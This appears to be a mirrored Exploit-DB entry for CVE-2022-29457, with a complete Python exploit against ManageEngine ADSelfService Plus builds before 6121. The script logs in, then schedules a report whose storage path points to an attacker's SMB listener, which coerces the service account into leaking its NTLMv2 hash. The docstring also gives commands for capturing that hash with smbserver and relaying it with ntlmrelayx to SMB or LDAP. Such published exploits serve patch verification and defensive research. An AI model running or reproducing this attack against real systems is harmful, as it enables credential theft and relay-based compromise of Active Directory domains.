ManageEngine ADSelfService Plus Build 6118 – NTLMv2 Hash Exposure

  • 作者: Metin Yunus Kandemir
    日期: 2022-05-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50904/
  • # Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
    # Exploit Author: Metin Yunus Kandemir
    # Vendor Homepage: https://www.manageengine.com/
    # Software Link: https://www.manageengine.com/products/self-service-password/download.html
    # Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
    # Version: ADSelfService Plus Build < 6121
    # Tested against: Build 6118
    # CVE: CVE-2022-29457
    
    # !/usr/bin/python3
    import argparse
    import requests
    import urllib3
    import random
    import sys
    
    """
    1- 
    a)Set up SMB server to capture NTMLv2 hash.
    python3 smbserver.py share . -smb2support
    
    b)For relaying to SMB:
    python3 ntlmrelayx.py -smb2support -t smb://TARGET
    
    c)For relaying to LDAP:
    python3 ntlmrelayx.py -t ldaps://TARGET
    
    2- Fire up the exploit.
    You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
    """
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def get_args():
    parser = argparse.ArgumentParser(
    epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
    parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
    parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
    args = parser.parse_args()
    return args
    
    
    def scheduler(domain, auth, target, listener, user, password):
    try:
    with requests.Session() as s:
    gUrl = target
    getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
    csrf = getCsrf.cookies['_zcsr_tmp']
    print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
    
    if auth.lower() == 'adselfservice':
    auth = "ADSelfService Plus Authentication"
    data = {
    "loginName": user,
    "domainName": auth,
    "j_username": user,
    "j_password": password,
    "AUTHRULE_NAME": "ADAuthenticator",
    "adscsrf": [csrf, csrf]
    }
    
    #Login
    url = target + "j_security_check"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
    req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
    #Auth Check
    url2 = target + "webclient/index.html"
    req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
    if req2.status_code == 200:
    print("[+] Authentication is successful.")
    elif req2.status_code == 302:
    print("[-] Login failed.")
    sys.exit(1)
    else:
    print("[-] Something went wrong")
    sys.exit(1)
    
    dn = domain.split(".")
    r1 = random.randint(1, 1000)
    
    surl = target + 'ServletAPI/Reports/saveReportScheduler'
    data = {
    'SCHEDULE_ID':'0',
    'ADMIN_STATUS':'3',
    'SCHEDULE_NAME': 'enrollment' + str(r1),
    'DOMAINS': '["'+ domain +'"]',
    'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
    'SELECTED_REPORTS': '104,105',
    'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
    'SCHEDULE_TYPE': 'hourly',
    'TIME_OF_DAY': '0',
    'MINS_OF_HOUR': '5',
    'EMAIL_ID': user +'@'+ domain,
    'NOTIFY_ADMIN': 'true',
    'NOTIFY_MANAGER': 'false',
    'STORAGE_PATH': '\\\\' + listener + '\\share',
    'FILE_FORMAT': 'HTML',
    'ATTACHMENT_TYPE': 'FILE',
    'ADMIN_MAIL_PRIORITY': 'Medium',
    'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
    'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
    'MANAGER_FILE_FORMAT': 'HTML',
    'MANAGER_ATTACHMENT_TYPE': 'FILE',
    'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
    'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
    'adscsrf': csrf
    }
    sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
    if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
    print('[-] The target is patched!')
    sys.exit(1)
    if sch.status_code == 200:
    print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
    else:
    print("[-] Something went wrong. Please, try it manually!")
    sys.exit(1)
    except:
    print('[-] Connection error!')
    
    def main():
    arg = get_args()
    domain = arg.domain
    auth = arg.auth
    user = arg.user
    password = arg.password
    target = arg.target
    listener = arg.listener
    scheduler(domain, auth, target, listener, user, password)
    
    
    if __name__ == "__main__":
    main()